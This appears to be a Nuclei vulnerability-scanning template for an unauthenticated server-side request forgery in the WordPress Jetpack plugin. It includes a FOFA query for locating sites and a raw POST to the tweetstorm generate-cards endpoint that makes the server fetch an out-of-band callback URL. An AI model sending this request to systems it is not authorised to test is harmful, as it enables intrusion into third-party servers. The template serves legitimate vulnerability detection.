id: wp-jetpack-ssrf

info:
  name: Wordpress Jetpack plugin - Server Side Request Forgery
  author: pussycat0x
  severity: medium
  description: |
    The Jetpack WordPress plugin exposes an endpoint that fetches external URLs provided via the 'urls' parameter to retrieve Twitter (X) card descriptions/metadata. This allows unauthenticated SSRF, enabling attackers to force the server to request attacker-controlled URLs
  classification:
    cwe-id: CWE-99,CWE-918
  metadata:
    verified: false
    max-request: 2
    fofa-query: body= "/wp-content/plugins/jetpack/"
  tags: wp,wordpress,wp-plugin,wp-scan,jetpack,ssrf

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/jetpack/readme.txt"

    matchers:
      - type: word
        part: body
        words:
          - "Jetpack - WP Security"
        internal: true

  - raw:
      - |
        POST /wp-json/wpcom/v2/tweetstorm/generate-cards HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        Content-Type: application/json

        {
        "urls": ["http://{{interactsh-url}}"]
        }

    matchers:
      - type: dsl
        dsl:
          - contains(body, "no_og_data")
          - contains(interactsh_protocol,'http')
          - status_code == 200
        condition: and
# digest: 4a0a00473045022100a1458504960c06b61aa12c751f8797ea31923d2c43d61581f335730bd1731084022031a3311c746938beffe447a843ec99639a60649eb05ee996252449b244955f05:922c64590222798bb761d5b6d8e72950